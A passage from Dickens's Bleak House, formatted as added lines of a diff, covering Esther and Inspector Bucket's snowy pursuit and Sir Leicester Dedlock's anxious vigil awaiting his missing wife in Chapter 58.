+guardian, and then we hurried back to where we had left the carriage.
+The horses were brought out as soon as we were seen coming, and we
+were on the road again in a few minutes.
+
+It had set in snowing at daybreak, and it now snowed hard. The air
+was so thick with the darkness of the day and the density of the fall
+that we could see but a very little way in any direction. Although it
+was extremely cold, the snow was but partially frozen, and it
+churned--with a sound as if it were a beach of small shells--under
+the hoofs of the horses into mire and water. They sometimes slipped
+and floundered for a mile together, and we were obliged to come to a
+standstill to rest them. One horse fell three times in this first
+stage, and trembled so and was so shaken that the driver had to
+dismount from his saddle and lead him at last.
+
+I could eat nothing and could not sleep, and I grew so nervous under
+those delays and the slow pace at which we travelled that I had an
+unreasonable desire upon me to get out and walk. Yielding to my
+companion's better sense, however, I remained where I was. All this
+time, kept fresh by a certain enjoyment of the work in which he was
+engaged, he was up and down at every house we came to, addressing
+people whom he had never beheld before as old acquaintances, running
+in to warm himself at every fire he saw, talking and drinking and
+shaking hands at every bar and tap, friendly with every waggoner,
+wheelwright, blacksmith, and toll-taker, yet never seeming to lose
+time, and always mounting to the box again with his watchful, steady
+face and his business-like "Get on, my lad!"
+
+When we were changing horses the next time, he came from the
+stable-yard, with the wet snow encrusted upon him and dropping off
+him--plashing and crashing through it to his wet knees as he had been
+doing frequently since we left Saint Albans--and spoke to me at the
+carriage side.
+
+"Keep up your spirits. It's certainly true that she came on here,
+Miss Summerson. There's not a doubt of the dress by this time, and
+the dress has been seen here."
+
+"Still on foot?" said I.
+
+"Still on foot. I think the gentleman you mentioned must be the point
+she's aiming at, and yet I don't like his living down in her own part
+of the country neither."
+
+"I know so little," said I. "There may be some one else nearer here,
+of whom I never heard."
+
+"That's true. But whatever you do, don't you fall a-crying, my dear;
+and don't you worry yourself no more than you can help. Get on, my
+lad!"
+
+The sleet fell all that day unceasingly, a thick mist came on early,
+and it never rose or lightened for a moment. Such roads I had never
+seen. I sometimes feared we had missed the way and got into the
+ploughed grounds or the marshes. If I ever thought of the time I had
+been out, it presented itself as an indefinite period of great
+duration, and I seemed, in a strange way, never to have been free
+from the anxiety under which I then laboured.
+
+As we advanced, I began to feel misgivings that my companion lost
+confidence. He was the same as before with all the roadside people,
+but he looked graver when he sat by himself on the box. I saw his
+finger uneasily going across and across his mouth during the whole of
+one long weary stage. I overheard that he began to ask the drivers of
+coaches and other vehicles coming towards us what passengers they had
+seen in other coaches and vehicles that were in advance. Their
+replies did not encourage him. He always gave me a reassuring beck of
+his finger and lift of his eyelid as he got upon the box again, but
+he seemed perplexed now when he said, "Get on, my lad!"
+
+At last, when we were changing, he told me that he had lost the track
+of the dress so long that he began to be surprised. It was nothing,
+he said, to lose such a track for one while, and to take it up for
+another while, and so on; but it had disappeared here in an
+unaccountable manner, and we had not come upon it since. This
+corroborated the apprehensions I had formed, when he began to look at
+direction-posts, and to leave the carriage at cross roads for a
+quarter of an hour at a time while he explored them. But I was not to
+be down-hearted, he told me, for it was as likely as not that the
+next stage might set us right again.
+
+The next stage, however, ended as that one ended; we had no new clue.
+There was a spacious inn here, solitary, but a comfortable
+substantial building, and as we drove in under a large gateway before
+I knew it, where a landlady and her pretty daughters came to the
+carriage-door, entreating me to alight and refresh myself while the
+horses were making ready, I thought it would be uncharitable to
+refuse. They took me upstairs to a warm room and left me there.
+
+It was at the corner of the house, I remember, looking two ways. On
+one side to a stable-yard open to a by-road, where the ostlers were
+unharnessing the splashed and tired horses from the muddy carriage,
+and beyond that to the by-road itself, across which the sign was
+heavily swinging; on the other side to a wood of dark pine-trees.
+Their branches were encumbered with snow, and it silently dropped off
+in wet heaps while I stood at the window. Night was setting in, and
+its bleakness was enhanced by the contrast of the pictured fire
+glowing and gleaming in the window-pane. As I looked among the stems
+of the trees and followed the discoloured marks in the snow where the
+thaw was sinking into it and undermining it, I thought of the
+motherly face brightly set off by daughters that had just now
+welcomed me and of MY mother lying down in such a wood to die.
+
+I was frightened when I found them all about me, but I remembered
+that before I fainted I tried very hard not to do it; and that was
+some little comfort. They cushioned me up on a large sofa by the
+fire, and then the comely landlady told me that I must travel no
+further to-night, but must go to bed. But this put me into such a
+tremble lest they should detain me there that she soon recalled her
+words and compromised for a rest of half an hour.
+
+A good endearing creature she was. She and her three fair girls, all
+so busy about me. I was to take hot soup and broiled fowl, while Mr.
+Bucket dried himself and dined elsewhere; but I could not do it when
+a snug round table was presently spread by the fireside, though I was
+very unwilling to disappoint them. However, I could take some toast
+and some hot negus, and as I really enjoyed that refreshment, it made
+some recompense.
+
+Punctual to the time, at the half-hour's end the carriage came
+rumbling under the gateway, and they took me down, warmed, refreshed,
+comforted by kindness, and safe (I assured them) not to faint any
+more. After I had got in and had taken a grateful leave of them all,
+the youngest daughter--a blooming girl of nineteen, who was to be the
+first married, they had told me--got upon the carriage step, reached
+in, and kissed me. I have never seen her, from that hour, but I think
+of her to this hour as my friend.
+
+The transparent windows with the fire and light, looking so bright
+and warm from the cold darkness out of doors, were soon gone, and
+again we were crushing and churning the loose snow. We went on with
+toil enough, but the dismal roads were not much worse than they had
+been, and the stage was only nine miles. My companion smoking on the
+box--I had thought at the last inn of begging him to do so when I saw
+him standing at a great fire in a comfortable cloud of tobacco--was
+as vigilant as ever and as quickly down and up again when we came to
+any human abode or any human creature. He had lighted his little dark
+lantern, which seemed to be a favourite with him, for we had lamps to
+the carriage; and every now and then he turned it upon me to see that
+I was doing well. There was a folding-window to the carriage-head,
+but I never closed it, for it seemed like shutting out hope.
+
+We came to the end of the stage, and still the lost trace was not
+recovered. I looked at him anxiously when we stopped to change, but I
+knew by his yet graver face as he stood watching the ostlers that he
+had heard nothing. Almost in an instant afterwards, as I leaned back
+in my seat, he looked in, with his lighted lantern in his hand, an
+excited and quite different man.
+
+"What is it?" said I, starting. "Is she here?"
+
+"No, no. Don't deceive yourself, my dear. Nobody's here. But I've got
+it!"
+
+The crystallized snow was in his eyelashes, in his hair, lying in
+ridges on his dress. He had to shake it from his face and get his
+breath before he spoke to me.
+
+"Now, Miss Summerson," said he, beating his finger on the apron,
+"don't you be disappointed at what I'm a-going to do. You know me.
+I'm Inspector Bucket, and you can trust me. We've come a long way;
+never mind. Four horses out there for the next stage up! Quick!"
+
+There was a commotion in the yard, and a man came running out of the
+stables to know if he meant up or down.
+
+"Up, I tell you! Up! Ain't it English? Up!"
+
+"Up?" said I, astonished. "To London! Are we going back?"
+
+"Miss Summerson," he answered, "back. Straight back as a die. You
+know me. Don't be afraid. I'll follow the other, by G----"
+
+"The other?" I repeated. "Who?"
+
+"You called her Jenny, didn't you? I'll follow her. Bring those two
+pair out here for a crown a man. Wake up, some of you!"
+
+"You will not desert this lady we are in search of; you will not
+abandon her on such a night and in such a state of mind as I know her
+to be in!" said I, in an agony, and grasping his hand.
+
+"You are right, my dear, I won't. But I'll follow the other. Look
+alive here with them horses. Send a man for'ard in the saddle to the
+next stage, and let him send another for'ard again, and order four
+on, up, right through. My darling, don't you be afraid!"
+
+These orders and the way in which he ran about the yard urging them
+caused a general excitement that was scarcely less bewildering to me
+than the sudden change. But in the height of the confusion, a mounted
+man galloped away to order the relays, and our horses were put to
+with great speed.
+
+"My dear," said Mr. Bucket, jumping to his seat and looking in again,
+"--you'll excuse me if I'm too familiar--don't you fret and worry
+yourself no more than you can help. I say nothing else at present;
+but you know me, my dear; now, don't you?"
+
+I endeavoured to say that I knew he was far more capable than I of
+deciding what we ought to do, but was he sure that this was right?
+Could I not go forward by myself in search of--I grasped his hand
+again in my distress and whispered it to him--of my own mother.
+
+"My dear," he answered, "I know, I know, and would I put you wrong,
+do you think? Inspector Bucket. Now you know me, don't you?"
+
+What could I say but yes!
+
+"Then you keep up as good a heart as you can, and you rely upon me
+for standing by you, no less than by Sir Leicester Dedlock, Baronet.
+Now, are you right there?"
+
+"All right, sir!"
+
+"Off she goes, then. And get on, my lads!"
+
+We were again upon the melancholy road by which we had come, tearing
+up the miry sleet and thawing snow as if they were torn up by a
+waterwheel.
+
+
+
+
+CHAPTER LVIII
+
+A Wintry Day and Night
+
+
+Still impassive, as behoves its breeding, the Dedlock town house
+carries itself as usual towards the street of dismal grandeur. There
+are powdered heads from time to time in the little windows of the
+hall, looking out at the untaxed powder falling all day from the sky;
+and in the same conservatory there is peach blossom turning itself
+exotically to the great hall fire from the nipping weather out of
+doors. It is given out that my Lady has gone down into Lincolnshire,
+but is expected to return presently.
+
+Rumour, busy overmuch, however, will not go down into Lincolnshire.
+It persists in flitting and chattering about town. It knows that that
+poor unfortunate man, Sir Leicester, has been sadly used. It hears,
+my dear child, all sorts of shocking things. It makes the world of
+five miles round quite merry. Not to know that there is something
+wrong at the Dedlocks' is to augur yourself unknown. One of the
+peachy-cheeked charmers with the skeleton throats is already apprised
+of all the principal circumstances that will come out before the
+Lords on Sir Leicester's application for a bill of divorce.
+
+At Blaze and Sparkle's the jewellers and at Sheen and Gloss's the
+mercers, it is and will be for several hours the topic of the age,
+the feature of the century. The patronesses of those establishments,
+albeit so loftily inscrutable, being as nicely weighed and measured
+there as any other article of the stock-in-trade, are perfectly
+understood in this new fashion by the rawest hand behind the counter.
+"Our people, Mr. Jones," said Blaze and Sparkle to the hand in
+question on engaging him, "our people, sir, are sheep--mere sheep.
+Where two or three marked ones go, all the rest follow. Keep those
+two or three in your eye, Mr. Jones, and you have the flock." So,
+likewise, Sheen and Gloss to THEIR Jones, in reference to knowing
+where to have the fashionable people and how to bring what they
+(Sheen and Gloss) choose into fashion. On similar unerring
+principles, Mr. Sladdery the librarian, and indeed the great farmer
+of gorgeous sheep, admits this very day, "Why yes, sir, there
+certainly ARE reports concerning Lady Dedlock, very current indeed
+among my high connexion, sir. You see, my high connexion must talk
+about something, sir; and it's only to get a subject into vogue with
+one or two ladies I could name to make it go down with the whole.
+Just what I should have done with those ladies, sir, in the case of
+any novelty you had left to me to bring in, they have done of
+themselves in this case through knowing Lady Dedlock and being
+perhaps a little innocently jealous of her too, sir. You'll find,
+sir, that this topic will be very popular among my high connexion. If
+it had been a speculation, sir, it would have brought money. And when
+I say so, you may trust to my being right, sir, for I have made it my
+business to study my high connexion and to be able to wind it up like
+a clock, sir."
+
+Thus rumour thrives in the capital, and will not go down into
+Lincolnshire. By half-past five, post meridian, Horse Guards' time,
+it has even elicited a new remark from the Honourable Mr. Stables,
+which bids fair to outshine the old one, on which he has so long
+rested his colloquial reputation. This sparkling sally is to the
+effect that although he always knew she was the best-groomed woman in
+the stud, he had no idea she was a bolter. It is immensely received
+in turf-circles.
+
+At feasts and festivals also, in firmaments she has often graced, and
+among constellations she outshone but yesterday, she is still the
+prevalent subject. What is it? Who is it? When was it? Where was it?
+How was it? She is discussed by her dear friends with all the
+genteelest slang in vogue, with the last new word, the last new
+manner, the last new drawl, and the perfection of polite
+indifference. A remarkable feature of the theme is that it is found
+to be so inspiring that several people come out upon it who never
+came out before--positively say things! William Buffy carries one of
+these smartnesses from the place where he dines down to the House,
+where the Whip for his party hands it about with his snuff-box to
+keep men together who want to be off, with such effect that the
+Speaker (who has had it privately insinuated into his own ear under
+the corner of his wig) cries, "Order at the bar!" three times without
+making an impression.
+
+And not the least amazing circumstance connected with her being
+vaguely the town talk is that people hovering on the confines of Mr.
+Sladdery's high connexion, people who know nothing and ever did know
+nothing about her, think it essential to their reputation to pretend
+that she is their topic too, and to retail her at second-hand with
+the last new word and the last new manner, and the last new drawl,
+and the last new polite indifference, and all the rest of it, all at
+second-hand but considered equal to new in inferior systems and to
+fainter stars. If there be any man of letters, art, or science among
+these little dealers, how noble in him to support the feeble sisters
+on such majestic crutches!
+
+So goes the wintry day outside the Dedlock mansion. How within it?
+
+Sir Leicester, lying in his bed, can speak a little, though with
+difficulty and indistinctness. He is enjoined to silence and to rest,
+and they have given him some opiate to lull his pain, for his old
+enemy is very hard with him. He is never asleep, though sometimes he
+seems to fall into a dull waking doze. He caused his bedstead to be
+moved out nearer to the window when he heard it was such inclement
+weather, and his head to be so adjusted that he could see the driving
+snow and sleet. He watches it as it falls, throughout the whole
+wintry day.
+
+Upon the least noise in the house, which is kept hushed, his hand is
+at the pencil. The old housekeeper, sitting by him, knows what he
+would write and whispers, "No, he has not come back yet, Sir
+Leicester. It was late last night when he went. He has been but a
+little time gone yet."
+
+He withdraws his hand and falls to looking at the sleet and snow
+again until they seem, by being long looked at, to fall so thick and
+fast that he is obliged to close his eyes for a minute on the giddy
+whirl of white flakes and icy blots.
+
+He began to look at them as soon as it was light. The day is not yet
+far spent when he conceives it to be necessary that her rooms should
+be prepared for her. It is very cold and wet. Let there be good
+fires. Let them know that she is expected. Please see to it yourself.
+He writes to this purpose on his slate, and Mrs. Rouncewell with a
+heavy heart obeys.
+
+"For I dread, George," the old lady says to her son, who waits below
+to keep her company when she has a little leisure, "I dread, my dear,
+that my Lady will never more set foot within these walls."
+
+"That's a bad presentiment, mother."
+
+"Nor yet within the walls of Chesney Wold, my dear."
+
+"That's worse. But why, mother?"
+
+"When I saw my Lady yesterday, George, she looked to me--and I may
+say at me too--as if the step on the Ghost's Walk had almost walked
+her down."
+
+"Come, come! You alarm yourself with old-story fears, mother."
+
+"No I don't, my dear. No I don't. It's going on for sixty year that I
+have been in this family, and I never had any fears for it before.
+But it's breaking up, my dear; the great old Dedlock family is
+breaking up."
+
+"I hope not, mother."
+
+"I am thankful I have lived long enough to be with Sir Leicester in
+this illness and trouble, for I know I am not too old nor too useless
+to be a welcomer sight to him than anybody else in my place would be.
+But the step on the Ghost's Walk will walk my Lady down, George; it
+has been many a day behind her, and now it will pass her and go on."
+
+"Well, mother dear, I say again, I hope not."
+
+"Ah, so do I, George," the old lady returns, shaking her head and
+parting her folded hands. "But if my fears come true, and he has to
+know it, who will tell him!"
+
+"Are these her rooms?"
+
+"These are my Lady's rooms, just as she left them."
+
+"Why, now," says the trooper, glancing round him and speaking in a
+lower voice, "I begin to understand how you come to think as you do
+think, mother. Rooms get an awful look about them when they are
+fitted up, like these, for one person you are used to see in them,
+and that person is away under any shadow, let alone being God knows
+where."
+
+He is not far out. As all partings foreshadow the great final one,
+so, empty rooms, bereft of a familiar presence, mournfully whisper
+what your room and what mine must one day be. My Lady's state has a
+hollow look, thus gloomy and abandoned; and in the inner apartment,
+where Mr. Bucket last night made his secret perquisition, the traces
+of her dresses and her ornaments, even the mirrors accustomed to
+reflect them when they were a portion of herself, have a desolate and
+vacant air. Dark and cold as the wintry day is, it is darker and
+colder in these deserted chambers than in many a hut that will barely
+exclude the weather; and though the servants heap fires in the grates
+and set the couches and the chairs within the warm glass screens that
+let their ruddy light shoot through to the furthest corners, there is
+a heavy cloud upon the rooms which no light will dispel.
+
+The old housekeeper and her son remain until the preparations are
+complete, and then she returns upstairs. Volumnia has taken Mrs.
+Rouncewell's place in the meantime, though pearl necklaces and rouge
+pots, however calculated to embellish Bath, are but indifferent
+comforts to the invalid under present circumstances. Volumnia, not
+being supposed to know (and indeed not knowing) what is the matter,
+has found it a ticklish task to offer appropriate observations and
+consequently has supplied their place with distracting smoothings of
+the bed-linen, elaborate locomotion on tiptoe, vigilant peeping at
+her kinsman's eyes, and one exasperating whisper to herself of, "He
+is asleep." In disproof of which superfluous remark Sir Leicester has
+indignantly written on the slate, "I am not."
+
+Yielding, therefore, the chair at the bedside to the quaint old
+housekeeper, Volumnia sits at a table a little removed,
+sympathetically sighing. Sir Leicester watches the sleet and snow and
+listens for the returning steps that he expects. In the ears of his
+old servant, looking as if she had stepped out of an old
+picture-frame to attend a summoned Dedlock to another world, the
+silence is fraught with echoes of her own words, "Who will tell him!"
+
+He has been under his valet's hands this morning to be made
+presentable and is as well got up as the circumstances will allow. He
+is propped with pillows, his grey hair is brushed in its usual
+manner, his linen is arranged to a nicety, and he is wrapped in a
+responsible dressing-gown. His eye-glass and his watch are ready to
+his hand. It is necessary--less to his own dignity now perhaps than
+for her sake--that he should be seen as little disturbed and as much
+himself as may be. Women will talk, and Volumnia, though a Dedlock,
+is no exceptional case. He keeps her here, there is little doubt, to
+prevent her talking somewhere else. He is very ill, but he makes his
+present stand against distress of mind and body most courageously.
+
+The fair Volumnia, being one of those sprightly girls who cannot long
+continue silent without imminent peril of seizure by the dragon
+Boredom, soon indicates the approach of that monster with a series of
+undisguisable yawns. Finding it impossible to suppress those yawns by
+any other process than conversation, she compliments Mrs. Rouncewell
+on her son, declaring that he positively is one of the finest figures
+she ever saw and as soldierly a looking person, she should think, as
+what's his name, her favourite Life Guardsman--the man she dotes on,
+the dearest of creatures--who was killed at Waterloo.
+
+Sir Leicester hears this tribute with so much surprise and stares
+about him in such a confused way that Mrs. Rouncewell feels it
+necessary to explain.
+
+"Miss Dedlock don't speak of my eldest son, Sir Leicester, but my
+youngest. I have found him. He has come home."
+
+Sir Leicester breaks silence with a harsh cry. "George? Your son
+George come home, Mrs. Rouncewell?"
+
+The old housekeeper wipes her eyes. "Thank God. Yes, Sir Leicester."
+
+Does this discovery of some one lost, this return of some one so long
+gone, come upon him as a strong confirmation of his hopes? Does he
+think, "Shall I not, with the aid I have, recall her safely after
+this, there being fewer hours in her case than there are years in
+his?"
+
+It is of no use entreating him; he is determined to speak now, and he
+does. In a thick crowd of sounds, but still intelligibly enough to be
+understood.
+
+"Why did you not tell me, Mrs. Rouncewell?"
+
+"It happened only yesterday, Sir Leicester, and I doubted your being
+well enough to be talked to of such things."
+
+Besides, the giddy Volumnia now remembers with her little scream that
+nobody was to have known of his being Mrs. Rouncewell's son and that
+she was not to have told. But Mrs. Rouncewell protests, with warmth
+enough to swell the stomacher, that of course she would have told Sir
+Leicester as soon as he got better.
+
+"Where is your son George, Mrs. Rouncewell?" asks Sir Leicester,
+
+Mrs. Rouncewell, not a little alarmed by his disregard of the
+doctor's injunctions, replies, in London.
+
+"Where in London?"
+
+Mrs. Rouncewell is constrained to admit that he is in the house.
+
+"Bring him here to my room. Bring him directly."
+
+The old lady can do nothing but go in search of him. Sir Leicester,
+with such power of movement as he has, arranges himself a little to
+receive him. When he has done so, he looks out again at the falling
+sleet and snow and listens again for the returning steps. A quantity
+of straw has been tumbled down in the street to deaden the noises
+there, and she might be driven to the door perhaps without his
+hearing wheels.
+
+He is lying thus, apparently forgetful of his newer and minor
+surprise, when the housekeeper returns, accompanied by her trooper
+son. Mr. George approaches softly to the bedside, makes his bow,
+squares his chest, and stands, with his face flushed, very heartily
+ashamed of himself.
+
+"Good heaven, and it is really George Rouncewell!" exclaims Sir
+Leicester. "Do you remember me, George?"
+
+The trooper needs to look at him and to separate this sound from that
+sound before he knows what he has said, but doing this and being a
+little helped by his mother, he replies, "I must have a very bad
+memory, indeed, Sir Leicester, if I failed to remember you."
+
+"When I look at you, George Rouncewell," Sir Leicester observes with
+difficulty, "I see something of a boy at Chesney Wold--I remember
+well--very well."
+
+He looks at the trooper until tears come into his eyes, and then he
+looks at the sleet and snow again.
+
+"I ask your pardon, Sir Leicester," says the trooper, "but would you
+accept of my arms to raise you up? You would lie easier, Sir
+Leicester, if you would allow me to move you."
+
+"If you please, George Rouncewell; if you will be so good."
+
+The trooper takes him in his arms like a child, lightly raises him,
+and turns him with his face more towards the window. "Thank you. You
+have your mother's gentleness," returns Sir Leicester, "and your own
+strength. Thank you."
+
+He signs to him with his hand not to go away. George quietly remains
+at the bedside, waiting to be spoken to.
+
+"Why did you wish for secrecy?" It takes Sir Leicester some time to
+ask this.
+
+"Truly I am not much to boast of, Sir Leicester, and I--I should
+still, Sir Leicester, if you was not so indisposed--which I hope you
+will not be long--I should still hope for the favour of being allowed
+to remain unknown in general. That involves explanations not very
+hard to be guessed at, not very well timed here, and not very
+creditable to myself. However opinions may differ on a variety of
+subjects, I should think it would be universally agreed, Sir
+Leicester, that I am not much to boast of."
+
+"You have been a soldier," observes Sir Leicester, "and a faithful
+one."
+
+George makes his military bow. "As far as that goes, Sir Leicester, I
+have done my duty under discipline, and it was the least I could do."
+
+"You find me," says Sir Leicester, whose eyes are much attracted
+towards him, "far from well, George Rouncewell."
+
+"I am very sorry both to hear it and to see it, Sir Leicester."
+
+"I am sure you are. No. In addition to my older malady, I have had a
+sudden and bad attack. Something that deadens," making an endeavour
+to pass one hand down one side, "and confuses," touching his lips.
+
+George, with a look of assent and sympathy, makes another bow. The
+different times when they were both young men (the trooper much the
+younger of the two) and looked at one another down at Chesney Wold
+arise before them both and soften both.
+
+Sir Leicester, evidently with a great determination to say, in his
+own manner, something that is on his mind before relapsing into
+silence, tries to raise himself among his pillows a little more.
+George, observant of the action, takes him in his arms again and
+places him as he desires to be. "Thank you, George. You are another
+self to me. You have often carried my spare gun at Chesney Wold,
+George. You are familiar to me in these strange circumstances, very
+familiar." He has put Sir Leicester's sounder arm over his shoulder
+in lifting him up, and Sir Leicester is slow in drawing it away again
+as he says these words.
+
+"I was about to add," he presently goes on, "I was about to add,
+respecting this attack, that it was unfortunately simultaneous with a
+slight misunderstanding between my Lady and myself. I do not mean
+that there was any difference between us (for there has been none),
+but that there was a misunderstanding of certain circumstances
+important only to ourselves, which deprives me, for a little while,
+of my Lady's society. She has found it necessary to make a journey--I
+trust will shortly return. Volumnia, do I make myself intelligible?
+The words are not quite under my command in the manner of pronouncing
+them."
+
+Volumnia understands him perfectly, and in truth he delivers himself
+with far greater plainness than could have been supposed possible a
+minute ago. The effort by which he does so is written in the anxious
+and labouring expression of his face. Nothing but the strength of his
+purpose enables him to make it.
+
+"Therefore, Volumnia, I desire to say in your presence--and in the
+presence of my old retainer and friend, Mrs. Rouncewell, whose truth
+and fidelity no one can question, and in the presence of her son
+George, who comes back like a familiar recollection of my youth in
+the home of my ancestors at Chesney Wold--in case I should relapse,
+in case I should not recover, in case I should lose both my speech
+and the power of writing, though I hope for better things--"
+
+The old housekeeper weeping silently; Volumnia in the greatest
+agitation, with the freshest bloom on her cheeks; the trooper with
+his arms folded and his head a little bent, respectfully attentive.
+
+"Therefore I desire to say, and to call you all to
+witness--beginning, Volumnia, with yourself, most solemnly--that I am
+on unaltered terms with Lady Dedlock. That I assert no cause whatever
+of complaint against her. That I have ever had the strongest
+affection for her, and that I retain it undiminished. Say this to
+herself, and to every one. If you ever say less than this, you will
+be guilty of deliberate falsehood to me."
+
+Volumnia tremblingly protests that she will observe his injunctions
+to the letter.
+
+"My Lady is too high in position, too handsome, too accomplished, too
+superior in most respects to the best of those by whom she is
+surrounded, not to have her enemies and traducers, I dare say. Let it
+be known to them, as I make it known to you, that being of sound
+mind, memory, and understanding, I revoke no disposition I have made
+in her favour. I abridge nothing I have ever bestowed upon her. I am
+on unaltered terms with her, and I recall--having the full power to
+do it if I were so disposed, as you see--no act I have done for her
+advantage and happiness."
+
+His formal array of words might have at any other time, as it has
+often had, something ludicrous in it, but at this time it is serious
+and affecting. His noble earnestness, his fidelity, his gallant
+shielding of her, his generous conquest of his own wrong and his own
+pride for her sake, are simply honourable, manly, and true. Nothing
+less worthy can be seen through the lustre of such qualities in the
+commonest mechanic, nothing less worthy can be seen in the best-born
+gentleman. In such a light both aspire alike, both rise alike, both
+children of the dust shine equally.
+
+Overpowered by his exertions, he lays his head back on his pillows
+and closes his eyes for not more than a minute, when he again resumes
+his watching of the weather and his attention to the muffled sounds.
+In the rendering of those little services, and in the manner of their
+acceptance, the trooper has become installed as necessary to him.
+Nothing has been said, but it is quite understood. He falls a step or
+two backward to be out of sight and mounts guard a little behind his
+mother's chair.
+
+The day is now beginning to decline. The mist and the sleet into
+which the snow has all resolved itself are darker, and the blaze
+begins to tell more vividly upon the room walls and furniture. The
+gloom augments; the bright gas springs up in the streets; and the
+pertinacious oil lamps which yet hold their ground there, with their
+source of life half frozen and half thawed, twinkle gaspingly like
+fiery fish out of water--as they are. The world, which has been
+rumbling over the straw and pulling at the bell, "to inquire," begins
+to go home, begins to dress, to dine, to discuss its dear friend with
+all the last new modes, as already mentioned.
+
+Now does Sir Leicester become worse, restless, uneasy, and in great
+pain. Volumnia, lighting a candle (with a predestined aptitude for
+doing something objectionable), is bidden to put it out again, for it
+is not yet dark enough. Yet it is very dark too, as dark as it will
+be all night. By and by she tries again. No! Put it out. It is not
+dark enough yet.
+
+His old housekeeper is the first to understand that he is striving to
+uphold the fiction with himself that it is not growing late.
+
+"Dear Sir Leicester, my honoured master," she softly whispers, "I
+must, for your own good, and my duty, take the freedom of begging and
+praying that you will not lie here in the lone darkness watching and
+waiting and dragging through the time. Let me draw the curtains, and
+light the candles, and make things more comfortable about you. The
+church-clocks will strike the hours just the same, Sir Leicester, and
+the night will pass away just the same. My Lady will come back, just
+the same."
+
+"I know it, Mrs. Rouncewell, but I am weak--and she has been so long
+gone."
+
+"Not so very long, Sir Leicester. Not twenty-four hours yet."
+
+"But that is a long time. Oh, it is a long time!"
+
+He says it with a groan that wrings her heart.
+
+She knows that this is not a period for bringing the rough light upon
+him; she thinks his tears too sacred to be seen, even by her.
+Therefore she sits in the darkness for a while without a word, then
+gently begins to move about, now stirring the fire, now standing at
+the dark window looking out. Finally he tells her, with recovered
+self-command, "As you say, Mrs. Rouncewell, it is no worse for being
+confessed. It is getting late, and they are not come. Light the
+room!" When it is lighted and the weather shut out, it is only left
+to him to listen.
+
+But they find that however dejected and ill he is, he brightens when
+a quiet pretence is made of looking at the fires in her rooms and
+being sure that everything is ready to receive her. Poor pretence as
+it is, these allusions to her being expected keep up hope within him.
+
+Midnight comes, and with it the same blank. The carriages in the
+streets are few, and other late sounds in that neighbourhood there
+are none, unless a man so very nomadically drunk as to stray into the
+frigid zone goes brawling and bellowing along the pavement. Upon this
+wintry night it is so still that listening to the intense silence is
+like looking at intense darkness. If any distant sound be audible in
+this case, it departs through the gloom like a feeble light in that,
+and all is heavier than before.
+
+The corporation of servants are dismissed to bed (not unwilling to
+go, for they were up all last night), and only Mrs. Rouncewell and
+George keep watch in Sir Leicester's room. As the night lags tardily
+on--or rather when it seems to stop altogether, at between two and
+three o'clock--they find a restless craving on him to know more about
+the weather, now he cannot see it. Hence George, patrolling regularly
+every half-hour to the rooms so carefully looked after, extends his
+march to the hall-door, looks about him, and brings back the best
+report he can make of the worst of nights, the sleet still falling
+and even the stone footways lying ankle-deep in icy sludge.
+
+Volumnia, in her room up a retired landing on the staircase--the
+second turning past the end of the carving and gilding, a cousinly
+room containing a fearful abortion of a portrait of Sir Leicester
+banished for its crimes, and commanding in the day a solemn yard
+planted with dried-up shrubs like antediluvian specimens of black
+tea--is a prey to horrors of many kinds. Not last nor least among
+them, possibly, is a horror of what may befall her little income in
+the event, as she expresses it, "of anything happening" to Sir
+Leicester. Anything, in this sense, meaning one thing only; and that
+the last thing that can happen to the consciousness of any baronet in
+the known world.
+
+An effect of these horrors is that Volumnia finds she cannot go to
+bed in her own room or sit by the fire in her own room, but must come
+forth with her fair head tied up in a profusion of shawl, and her
+fair form enrobed in drapery, and parade the mansion like a ghost,
+particularly haunting the rooms, warm and luxurious, prepared for one
+who still does not return. Solitude under such circumstances being
+not to be thought of, Volumnia is attended by her maid, who,
+impressed from her own bed for that purpose, extremely cold, very
+sleepy, and generally an injured maid as condemned by circumstances
+to take office with a cousin, when she had resolved to be maid to
+nothing less than ten thousand a year, has not a sweet expression of
+countenance.
+
+The periodical visits of the trooper to these rooms, however, in the
+course of his patrolling is an assurance of protection and company
+both to mistress and maid, which renders them very acceptable in the
+small hours of the night. Whenever he is heard advancing, they both
+make some little decorative preparation to receive him; at other
+times they divide their watches into short scraps of oblivion and
+dialogues not wholly free from acerbity, as to whether Miss Dedlock,
+sitting with her feet upon the fender, was or was not falling into
+the fire when rescued (to her great displeasure) by her guardian
+genius the maid.
+
+"How is Sir Leicester now, Mr. George?" inquires Volumnia, adjusting
+her cowl over her head.
+
+"Why, Sir Leicester is much the same, miss. He is very low and ill,
+and he even wanders a little sometimes."
+
+"Has he asked for me?" inquires Volumnia tenderly.
+
+"Why, no, I can't say he has, miss. Not within my hearing, that is to
+say."
+
+"This is a truly sad time, Mr. George."
+
+"It is indeed, miss. Hadn't you better go to bed?"
+
+"You had a deal better go to bed, Miss Dedlock," quoth the maid
+sharply.
+
+But Volumnia answers No! No! She may be asked for, she may be wanted
+at a moment's notice. She never should forgive herself "if anything
+was to happen" and she was not on the spot. She declines to enter on
+the question, mooted by the maid, how the spot comes to be there, and
+not in her room (which is nearer to Sir Leicester's), but staunchly
+declares that on the spot she will remain. Volumnia further makes a
+merit of not having "closed an eye"--as if she had twenty or
+thirty--though it is hard to reconcile this statement with her having
+most indisputably opened two within five minutes.
+
+But when it comes to four o'clock, and still the same blank,
+Volumnia's constancy begins to fail her, or rather it begins to
+strengthen, for she now considers that it is her duty to be ready for
+the morrow, when much may be expected of her, that, in fact,
+howsoever anxious to remain upon the spot, it may be required of her,
+as an act of self-devotion, to desert the spot. So when the trooper
+reappears with his, "Hadn't you better go to bed, miss?" and when the
+maid protests, more sharply than before, "You had a deal better go to
+bed, Miss Dedlock!" she meekly rises and says, "Do with me what you
+think best!"
+
+Mr. George undoubtedly thinks it best to escort her on his arm to the
+door of her cousinly chamber, and the maid as undoubtedly thinks it
+best to hustle her into bed with mighty little ceremony. Accordingly,
+these steps are taken; and now the trooper, in his rounds, has the
+house to himself.
+
+There is no improvement in the weather. From the portico, from the
+eaves, from the parapet, from every ledge and post and pillar, drips
+the thawed snow. It has crept, as if for shelter, into the lintels of
+the great door--under it, into the corners of the windows, into every
+chink and crevice of retreat, and there wastes and dies. It is
+falling still; upon the roof, upon the skylight, even through the
+skylight, and drip, drip, drip, with the regularity of the Ghost's
+Walk, on the stone floor below.
+
+The trooper, his old recollections awakened by the solitary grandeur
+of a great house--no novelty to him once at Chesney Wold--goes up the
+stairs and through the chief rooms, holding up his light at arm's
+length. Thinking of his varied fortunes within the last few weeks,
+and of his rustic boyhood, and of the two periods of his life so
+strangely brought together across the wide intermediate space;
+thinking of the murdered man whose image is fresh in his mind;
+thinking of the lady who has disappeared from these very rooms and
